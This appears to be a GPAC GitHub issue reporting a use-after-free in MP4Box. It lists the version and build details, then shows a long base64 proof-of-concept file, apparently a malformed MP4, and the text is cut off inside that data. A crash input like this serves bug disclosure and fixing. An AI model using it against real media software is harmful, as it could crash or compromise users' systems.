

New issue

[Jump to bottom](#)

## Use After Free #2058

Closed

rbouqueau opened this issue on Jan 21 · 1 comment

rbouqueau commented on Jan 21

Contributor

Proof of Concept

Version:

MP4Box - GPAC version 1.1.0-DEV-rev1647-gb6f68145e-master  
(c) 2000-2022 Telecom Paris distributed under LGPL v2.1+ - <http://gpac.io>

Please cite our work in your research:

GPAC Filters: <https://doi.org/10.1145/3339825.3394929>

GPAC: <https://doi.org/10.1145/1291233.1291452>

GPAC Configuration: --prefix=/home/aidai/fuzzing/gpac/  
Features: GPAC\_CONFIG\_LINUX GPAC\_64\_BITS GPAC\_HAS\_IPV6 GPAC\_HAS\_SOCKET GPAC\_MINIMAL\_ODF  
GPAC\_HAS\_QJS GPAC\_HAS\_LINUX\_DVB GPAC\_DISABLE\_3D

System information Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz

poc

base64 poc

```
AAAAFHND0eXDoAwAFEHnzC21wNDEAAcZTbW9vdgAAAGxtmKhAAAAIkiC2V9InNlhaAFfKAAfXZgA
AQAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAACppb2RzAAAAABCAGIAZAE//w8B/w6AgIAEAAAABw6A
gIAEAAAACAAACAN0cmFrAAAXHRraGQAAABsJzZX0ic2V8AAAAABAAACAAAFt6AAAAAAAAAAAAAA
AAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQAAAAAAefbWRp
YQAAACBtZGhkAAAAAEic2V9InNlfaAFfKAAfT6AAAAAAAAAAIWhkbHIAAAAAAAAAAAHZpZGUAAAAA
AAAAAAAAAAAAAAAAAHVm1pbmYAAAAUdm1oZAAAAEAAAAAAAAAAAAAAAAACRkQ0NmAAAAAHGRyZWYAAAAA
AAAAAQAAABx1cmwgAAAAAQAAABxZzdGJsAAAAtnN0c2QAAAAAAAAAAQAAKZtcDR2AAAAAAAAAAEA
AAAAAAAAAAAAAAAAAAAAAAAAAALAAKABIAAAASAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAGP//AAAAUGVzZHMAAAAAA4CagD8AAQAEgICAMSARABVpAANQ4AADBCeFgICAHwAA
AbADAAABtQkAAAEAAAABIADiLqYYfQgsIJCGwcGgICAAQIAAAAYc3R0cwAAAAAAAAABAAABVgAA
F3AAAVsc3RzegAAAAAAAAAAAAABVgAAC+0AAAjhAAACeAAAApWAAAKWAAADxgAABAUAAARfAAAH
ewAAB1cAAAsH//99gAAC7AAAAcWAAAHdWAAAB0oAAACiAAAElgAABLoAAARsAAAEENQAABJUAAAdB
AAAG2QAAB4YAAAFUAAAH8gAAACEgAAAAAAAAAD3gAAD4kAAAS9AAAEVwAAAtYAAAL7AAADpQAABEGa
AASAAADrAAAG+AAACZAAAKyWAAAC3gAAAUgAAAHVAAABZAAAAazAAADyWAAABLCAAARtAAAE5wAA
BOUAAAEaNAAGpQAABrWAAABiAAAGmgAABYoAAAFxAAAAH0AAAFJIAAATUAAAFlgAAAYEAAAMjAAAD
KQAAAugAAANDAAAEswAAA9oAAAQKAAAG4gAAB0oAAARUAAALUgAACx4AAAvxAAAHZgAABZcAAABk
```

AAADtAAAA/UAAAQ7AAAEpWAABNUAAQ+AAAErgAABrcAAAaKAAAHdWAAFWkAAAgZAAAE1QAABHAA  
AAPWAAADtQAABAUAAQ7AAAEKAAABDIABb4AAAGdWABqEAAAbzAAALQQAAC5sAAAEyAAAIHQAA  
BzIAAADqAAAElwAAA/sAAAPHAAAEsgAAA0AAAAAbqAAAGhgAABssAAAb+AAAHhQAAFMEAAAFHAAAH  
owAAA+AAAAP/AAADEgAAAzsAAAMjAAAEKAAABc8AAARKAAAHZQAABxoAAAbtAAAKsQAAC5EAAAcD  
AAAHcQAAB+QAAAdjAAAHVgAAA7AAAA08AAAE0gAABEsAAASVAAAHtQAABYyAAAA1AAAHHQAAFRMA  
AAeYAAAEEmgAABKUAAAKQAAADGAAAA0cAAP7AADpAAAA84AAAExAaAICgAAB0KAAAtOAAALQQA  
BrCAAAcnaAAHPAAB6UAAAEgAAAD6QAAA3AAAA0JAAADNgAABqUAAAdMAAAHWAABm8AAAbLAAAG  
mQAAPFsAAAFtAAAD/AAABBoAAPQAAAEENwAABEYAAQJAAAEYQAABcGAAAEIAAAH2wAAB0UAAAb1  
AAAHoQAABqQAAAYqAAAG+gAAB1MAAAcYAAAHMgAABxsAaAbQAAAGogAABrwAAAbpAAAHYwAABxQA  
AAQ0AAAE0AAAFpSAAABqAAADrAAAAsMAAAKtAAACswAABJ4AAAQtAAAHogAABsAAAcNAAAGqwAA  
BqAAAArRAAAMBQAAB1EAAAZSAAAGSAAABvEAAAbCAAAD1QAABH4AAATCAAAEugAACBQAAAEQAAAH  
AQABBycAAAbqAAAG7AAAFNYAAAS3AAAFZQAAAzgAAAMVAAAEgGABRsAAAVyAAAFNgAABXQAAAYB  
AAAFYQAABUMAAAVUAAAKfWAACg8AAAnQAAAJTAAABNYAAATwAAAE1AAABGoAAARwAAAEENwAABKkA  
AA1mAAAIgAAACJ8AAAKpAAAJLwAAEegAAAW2AAAD9wAAA9oAAAJBAAAB6QAAA4YAABXwAAAEEmwAA  
BjgAAAZEAAAGQAACaAAAAAnYAAAIuWAB1MAAAeFAAAHgQAABNkAAAS8AAAEtWAAAZ0AAAayAAAH  
YAAAB7UAAAI0AAAJVwAACG0AAAgjAAAE+QAAEScAAAUyAAADfQAAAwkAAAHsAAADAgAAA4gAAATt  
AAAF7QAABOQAAARhAAAIswAAACLcAAAnHAAAJWQAACLoAAAmwAAAH4wAAA7oAAAPjAAAEHgAABEEA  
AARBAAAIKwAAB5IAAAcnaAAHRQAACaOAAAE0AAAIiQAAEkEAAAYmAAAFdgAABK0AAAA8AAAPAAA  
AhsAAALqAAAC0QAABWUAAAhfAAAKnQAAACHzdHNjAAAAAAAAAIAAAABAAAADwAAAAEAAAAAXAAAA  
DAAAAAEAAABsC3RjbwAAAAAAAAAXAA2/gAAZCUAAWSSAAIESwACm90AAZrVAAPNZAAEbHsABQbL  
AAWkHgAGPwWABuG3AAd3mAAIFTYACLHgAA1SgQAJ6xgACoORAAsnxAALwLEADF+4AAZ3nQAN1FsA  
AABAc3RzcwAAAAAAAAAMAAAAQAAAB8AAAA9AAAWwAAAHKAAACXAAAtQAAANMAAADxAAABDwAA  
AS0AAAFLLAAJ3RyYWsAAABcdGtoZAAAAABInN1fSjZzXwAAAAIAAAAAAB9PoAAAAAAAAAAAAAAAA  
AAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAABYvtZG1h  
AAAAIG1kaGQAAAAASJzZX0ic2V8AAV+QAB9PoAAAAAAAAAAhaGRscgAAAAAAAAAAaGludAAAAAA  
AAAAAAAAAAAAAAAAAbcw1luZgAAABxobWhkAAAAAAAAAXABAQAA1mAAAMVywAAAAAAAAAAkZGluZgAAABxk  
cmVmAAAA5wAAAAEAAAAAMdXJsIAAAAAEAAAaUc3R1bAAAADRzdHNkAAAAAAAAAAEAAAKcnRwIAAA  
AAAAAAAABAEAQAABbQAAAMdGltcwABX5AAAAAYc3R0cwAAAAAAAAABAAABVgAAF3AAAVSc3Rz  
egAAAAAAAAAAAAABVgAAAJMAAAAgAAAAIAAAACAAAAgAAAAIAAAACAAAAAgAAAAPAAADwAAAA8  
AAAAWAAAFgAAAA8AAAPAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAPAAADwA  
AA8AAAPAAADwAAAA8AAAAIAAAAFgAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAA  
ADwAAAA8AAAPAAAFgAAABYAAAPAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAA  
PAAADwAAAA8AAAPAAADwAAAA8AAAPAAAAHQAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAg  
AAAAIAAAACAAAAAgAAAAPAAADwAAAA8AAAPAAADwAAABYAAAPAAADwAAAA8AAAAIAAAACAA  
AAAgAAAAIAAAACAAAAAgAAAAIAAAADwAAAA8AAAPAAAAHQAAAA8AAAAIAAAACAAAAAgAAEIAAA  
ACAAAAAgAAAAIAAAACAAAAA8AAAPAAADwAAAA8AAAPAAAFgAAAA8AAAPAAADwAAAA8AAAA  
IAAAACAAAAAgAAAAIAAAACAAAAA8AAAPAAADwAAAA8AAAPAAAAHQAAAA8AAAPAAAACAAAAg  
AAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAADwAAAA8AAAPAAAFgAAAA8AAAPAAADwA  
AA8AAAPAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAADwAAAA8AAAPAAAAHQAAAA8AAAAIAAi  
ACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAPAAADwAAAA8AAAPAAADwAAAA8AAAA  
PAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAADwAAAA8AAAPAAADwAAAA8AAAPAAAAHQAAAA8  
AAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAPBUAHDwAAAA8CwAAPAAADwA  
AA8AAAPAAADwAAAA8AAAPAAADwAAAA8AAAPAAADwAAAA8AAAPAAADwAAAAgAAAAIAAA  
AHT/8wAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAADwAAAA8AAAPAAADwAAAA8AAAA  
WAAADwAAAA8AAAPAAADwAAAA8AAAAIAAAACAAAAAgAAAAIAAAADwAAAA8AAAPFSoXNaITOVt  
OoaTB1qWvPjPRJE+4WEfmmqnBE4AAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAA8AAAAIAAAACAA  
AAAgAAAAPAAADwAAAA8AAAPAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAB//3wA8QAAPAAA  
ADwAAAA8AAAPAAAAHQAAAA8AAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAP/gIAAADwAAAA8AAAA  
PAAADwAAAA8AAAPAAADwAAAA8AAAPAAACAAAAAgAAAAIAAAACAAAAA8AAAPAAADwAAAA8  
AAAPAAADwAAAA8AAAAIAAAHQAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAACAA  
AAAgAAAAPAAADwAAAA8AAAPAAADwAAAA8AAAPAAACAAAAAgAAAAIAAAACAAAAAgAAAAPAAA  
ADwAAAA8AAAPAAADwAAAA8AAAPAAAAHQAAAA8AAAA1QAAACAAAAAgAAAAIAAAACAAAAAgAAAA  
IAAAACAAAAA8AAAPAAACHzdHNjAAAAAAAAAIAAAABAAAADwAAAAEAAAAAXAAADAAAAEAAABs  
c3RjbwAAAAAAAAAXAAAAQAAYUkAAWGaAIBuWACmTKAAZGTAAPKiAAEaWcABQPvAAX9CgAGPKIA  
Bt6jAAd0vAAIEeoACK7MAA1PlQAJ6KwACoDRAAskZAAALvbkADFz4AAZ0pQANKjMAAABAc3RzcwAA  
AAAAAAAAAMAAAAQAAAB8AAAA9AAAWwAAAHKAAACXAAAtQAAANMAAADxAAABDwAAAS0AAAFLLAAAA

FHRyZWYAAAAAMaGluDAAAAAEAAAGWdWR0YQAAAMxobnRpAAAAxHNkcCBtPXZpZGVvIDAgUlRQL0FW  
UCA5Ng0KYT1ydHBtYXA6OTYgTVA0V1lFUY85MDAwMA0KYT1jb250cm9sOnRyYWNrSUQ9Mg0KYT1t  
cGVnNC1lc2lk0jENCmE9Zm10cDo5NiBwcm9maWxlLWxldmVsLWlkPTE7IGNvbmZpZz0wMDAwMDFi  
MDAzMDAwMDAxYjUwOTAwMDAwMTAwMDAwMDAxMjAwMGMA0DhiYTk4NjFmNDIwYjA4MjQyODMwNzN  
CgAAAMJoaw5mAAAAEHRycHkAAAAAAAJK6wAAABBudW1wAAAAAAAJAAAAQdHB5bAAAAAAACLCr  
AAAAEG1heHIAAAPoAABrMAAAABbkbWVkaAAAAAIsIwAAAAQZG1tbQAAAAAEEEEEGRYZXAA  
AAAAAEEEEAAAAx0bWluAAAAAAX0bWf4AAAAAAXwbWf4AAAFwAAAAAXkbWf4AAAXcAAA  
ABpwYXl0AAAAYA1NUDRWLUVTLzkWMA8wAAACdnVkdGEAAAJuaG50aQAAAmZydHAgc2RwIGE9aXNt  
YS1jb21wbG1hbmN10jEsMS4wLDENCmE9bXB1ZzQtaw9k0iAiZGF0YTphcHBsaWNhdGlvbi9tcGVn  
NC1pb2Q7YmFzZTY0LEFvAAEAAE1BVC8vL0R3SC9BNENBZ2dnQUIwRGtaR0YwWVRwaGNIQnNhV05o  
ZEdsdmJpOXRJR1ZuTkMxd1pDMWhkVHRpVH0bE5qUXNRVmxEUVDkUmEwSm5TVU5CVFZGTFprRTBR  
MEZuUTI5Q1FsRkJSV2RKUTBGR1JVRldRVUZGYTBGQ1IwTTBRVUZDw1Vnd1JtZEprMEZCYUVsU1Ft  
OURRV2RCYTBKQ1FVRkRJRUVZCUVVGQ1FVSm5TVU5CVkdKv1prRTBRMEZuUld0Q1FwRkJSV2RKUTBG  
TlUwRlNRVUpXY0VGQ1RsRTBRVUZFUW10R1JtZEprMEZJZDBGQ1FXSkJSRUZCUVVKMFVxdEJRUVZG  
UVVGQ1FVSkprVJVJKYVV4eFdWbG1V2R6U1VwRfOzZGpSmmRKUTBGRFVVVkJRVUZCUVVGQ1FVRkJR  
VDA5Qk1DQWdBMEJCUUFBUFBQUFBQUFBQBBQm9DQWdBa0JBQUFBQUFBQUFBQURNsUNBYU1BSVFE  
NwtZWfJoT21Gd2NheHBZMkYwYVc5dUwyMXdaV2MwTFdKcFpuTXRZWfU3AAAAAvPUWTBMSGRDUVZO  
b1ZFRnhRbGhLUUVKSmFGR1NVV1V2UTRFOVBRU0FnSUFwQWcwQUFBQUFBQUFBQUFBQVB0FnSUF  
QUFCQUJvQ0FnQWtCQUFBQUFBQUFBQUE9Ig0KAAAReHRYwSAAABcdGtoZAAAAAFInNlhSJzZYQAA  
AAcAAAAAB9dmAAAAAEE  
AEAAAAAEEEEEEEEERrtZG1hAAAAIG1kaGQAAAAASJzZYUic2WEAAKxnAA9gAAAAAaaaaH  
aGRscgAAAAAaaaaC291bgAAAAAEEEEEEEEEEEEBDLwluZgAAABZbWhkAAAAAEEEEEEEEAAk  
ZGluZgAAABxkcmVmAAAAAIAAAEAAAAmdXJsIAAAAAEAABCPc3RibAAAAGdzdHNkAAAAAEEEEAA  
AABXBxAY0YQAAAAAABAAAAAEEEEAAQAaaaaAKxEAAAAAAzZXNkcwAAAAADgICAIGAFaASA  
gIAUQBUAASQAAYLgAAf4fQWAgIACEhAgGICAAQIAAAAYc3R0cwAAAAAABAAAD2AAABAAAAA90  
c3RzegAAAAAEEEEAAD2AAAAQ4AAmDqW/YZRQAAR4AAAEbAAABGgAAARQAAAEaAAABFAAAAREAA  
AAEXAAABGAAAR0AAAEfAAABHQAAARwAAAE0AAABGgAAAR4AAAEeAAABGAAARQAAAEsAAABCGAA  
ARUAAAEcAAABFwAAARgAAAEbAAABGgAAARoAAAEENAAABFAAAAR4AAAEfAAABIQAAAR8AAAEERAAAB  
GQAAARwAAAEjAAABHwAAAR4AAAEbAAABHgAAARYAAAEUAAABGAAARUAAAEYAAABHQAAQKAAAEc  
AAABGgAAAREAAAEcAAABHQAAAR0AAAEfAAABFwAAARgAAAEYAAABHAAARQAAAEERAAABDgAAARsA  
AAEcAAABEQAAARIAAAEEAAABGwAAAR4AAAEhAAABHAAARsAAAEWAAABGwAAARoAAAEdAAABFwAA  
AR8AAAEaAAABGgAAARwAAAEaAAABGAAARsAAAEWAAABHAAARcAAAEbAAABGAAAR8AAAEZAAAB  
DQAAARcAAAEZAAABFwAAARUAAAEVAAABDgAAAR0AAAEiAAABIAAAASAAAAEdAAABGAAAR8AAAEa  
AAABIGAAARgAAAEdAAABGQAAAR0AAAEfAAABGgAAASAAAAEZAAABHQAAARIAAAEdAAABHgAAARYA  
AAETAABGgAAARQAAAEdAAABFgAAARwAAAEQAAABGAAAEAAAAEcAAABFQAAARUAAAEtAAABHAAA  
ARQAAGZAAABFQAAAR0AAAEeAAABFwAAARwAAAEgAAABFgAAAR8AAAEfAAABIQAAASEAAAEfAAAB  
GwAAARsAAAEfAAABHgAAARKAAAEdAAABFAAAARsAAAEcAAABGwAAARoAAAEdAAABDwAAARsAAAEX  
AAABEAAARgAAAEbAAABFQAAARKAAAEcAAABFwAAARcAAAEVAAABFwAAAR0AAAEYAAABHgAAQ8A  
AAEfAAABIQAAAR0AAAEcAAABHAAARwAAAEeAAABGwAAgRwAAAEaAAABIAAAASAAAAEdAAABHwAA  
AR4AAAEdAAABHgAAARgAAAEdAAABGwAAARwAAAEbAAABEwAAAQ8AAAEsAAABFgAAAQoAAAEERAAAB  
HgAAARgAAAEaAAABGQAAASAAAAEcAAABEwAAARQAAAEsAAABFAAAAR4AAAEhAAABGgIAAR0AAAEh  
AAABIwAAAR0AAAEgAAABHgAAAR0AAAEiAAABHQAAARsAAAEZAAABHQAAARYAAAEgAAABHAAARoA  
AAEGAAABGgAAARsAAAGfFAAARGQAAAR0AAAEsAAABHgAAQcAAAEJAAABHgAAAR4AAAEdAAABGgAA  
AQ8AAAEeAAABFgAAARwAAAEfAAABGgAgARcAAAEXAAABHQAAARsAAAEVAAABFQAAQwAAAEtAAAB  
GwAAASAAAAEGAAABEQAAQ8AAAEfAAABIwAAAR8AAAEiAAABFAAAARYAAAEEMAAABFwAAAR8AAAEf  
AAABIQAAARwAAAEbAAABGAAAR8AAAEZAAABCWAAARwAAAEeAAABHAAARwAAAEdAACAAAAAREAA  
AAEbAAABFAAAAR0AAAEaAAABHQAAAR0AAAEPAABGgAAARsAAAEZ+wABHgAAARKAAAEdAAABHwAA  
ARoAAAEaAAABGgAAAR4AAAEgAAABHQAAAR8AAAEfAAABAQAAAR4AAAEeAAABHAAARwAAAEcAAAB  
FQAAARgAAAEQAAABFAAAARYAAAEbAAABHAAARwAAAEeAAABHQAAARwAAAEEXAAABFwAAARwAAAEU  
AAABGgAAARQAAAEYAAABGQAAASIAAAEQAAABIGAAARQAAAEfAAABEwAAARKAAAEeAAABGAAAR0A  
AAEAaAAABHQAAARMAAEdAAABGQAAARsAAAEENAAABEQAAAR0AAAEXAAABHAAARYAAAEWAAABFQAA  
AQsAAAEfAAABHwAAARcAAAEJAAABHQAAAR0AAAEZAAABFAAAAR0AAAEZAAABDwAAARgAAAEgAAAB  
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  
AUBtaW5mAAAAAHGhtaGQAAAAABbUfMAAB1cAAAYF7AAAAAAAAACRkaw5mAAAAAHGRyZWYAAAAAAAAA  
AQAAAAx1cmwgAAAAAQAAAPhzdGJsAAAAANH0c2QAAAAAAAAAAAAQAAAB9ydHAgAAAAAAAAAAEAQAB  
AAAFtAAAAAx0aw1zaACsRAAAABhzdHRzAAAAAAAAAAAAEAADEAAAUAAAAABRzdHN6FQAAAAAAAAMAA  
AADEAAAAKHn0c2MAAAAAAAAAAAgAAAAEAAAAJAAAAAQAAABYAAAAHAAAAAQAAAGhzdGNvAAAAmAAA  
ABYAACzvAAfA2gAB+vsAapJ5AAMq0wADw8gABGKnAAT9LwAFmkoABjXiAabX4wAHbfwACAsqAAio  
DAAJSNUACeHsAap6EQALHgWAC7b5AAXwOAM7eUADYzzAAAAFHRYZWYAAAAAMaGludAAAAAUAAAHc  
dWR0YQAAAPJobnRpAAAA6nNkcCBtPWF1ZGlVIdAgULRQL0FWUCA5Nw0KYT1ydHBtYXA60TcgbXB1  
ZzQtZ2VuZXJpYy80NDEwMA0KYT1jb250cm9sOnRyYWNRsUQ9Ng0KYT1tcGVnNP//c2lk0jUNCmE9  
Zm10cDo5NyBzdHJlYW10eXB1PTU7IHVyb2ZpbGUtbGV2ZWwtawQ9MTU7IG1vZGU9QUFDLWhicjsg  
Y29uZm1nPTEyMTA7IFNpemVMZW5ndGg9MTM7IEluZGV4TGvUz3RoPTM7IEluZGV4RGVsdGFmZW5n  
dGg9MzsgUHJvZm1sZT0wX0wKAAAYGhpbmYAAAAQdHJweQAAAAABEh7AAAAEG51bXAAAAAAAAA  
xAAAAAB0cH1sAAAAAAEP0sAAAAQbWf4cggAAA+gAADK4AAAAEGRtZWQAAAAAAQ2GwAAABBkaw1t

AAAAAAAACTAAAAQZHJlCAAAAAAAAAAAAAADHRtaw4AAAAAAAAADHRtYXgAAAAAAAAADHBtYXgA  
AAW1AAAADGrTYXgAABQAAAAAIHbheXQAAABhE21wZWc0LWdlbmVyaWVNDQxMDAAAAAGxgHJhawAA  
AFx0a2hkaAAAAUic2WFIInNlhAAAAABwAAAAAABaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA  
AAAAAAAAAQAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAABMW1kawEAAAAGbWRoZAAAAABInNlh  
SJzZYQAAA+gAAAAAABAAAAAAACFoZGxyAAAAAAAAABvZHntAAAAAAAAAAAAAAAAAAAAOhtaw5m  
AAAADG5taGQAAAAAAAAAJGRpbmYAAAAcZHJlZgAAAAAAAAABAAAADHVybCAAAAAABAAAAA  
AABMc3RzZAAAAAABAAAAAPG1wNHMAAAAAAAAAAYAAcXlc2RzAAAAA0AgIAbAAcABICAgA0B  
BQAAIQAAAQgAAAEIBoCAGAECAAAAGHN0dHMAAAAAAAAAAQAAAEAAAABAAAAFHN0c3oAAAAA  
IAQAAAEAAAAc3RzYwAAAAAABAAAAAQAAAEAAAABAAAAFHN0Y28AAAAAQAAYRgAAAAc  
dHJlZgAAABRtcG9kaAAABQAAAAEAAAAIAAABnXRyYWsAAABcdGtoZAAAAAFInNlhSJzZYQAAAAG  
AAAAAAAAAwgAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAA  
AAAAAAAAAAAAAAAAAATltZGlhAAAAIG1kaGQAAAAASJzZYUic2WEAAAPoAAAAAQAAAAAAAhAGR  
scgAAAAAAAAAAc2RzbQAAAAAAAAAAAAAAAAADwbWluzGAAAXubWhkAAAAAAAAACRkaw5mAAAA  
HGRyZWYAAAAAAAAAQAAAAx1cmwgAAAAAQAAALhzdGJsAAAAVHN0c2QAAAAAAAAAQAAERtcDRz  
AAAAAAAAAAEAAAA0ZXNkcwAAAAADgICAIwAIAASAgIAVAA0AABAAAAACAAAAgAwAgIADAxZABoCA  
gAECAAAAGHN0dHMAAAAAAAAAAQAAAEAAAABAAAAFHN0c3oAAAAAAGFAAAAAEAAAAc3RzYwAA  
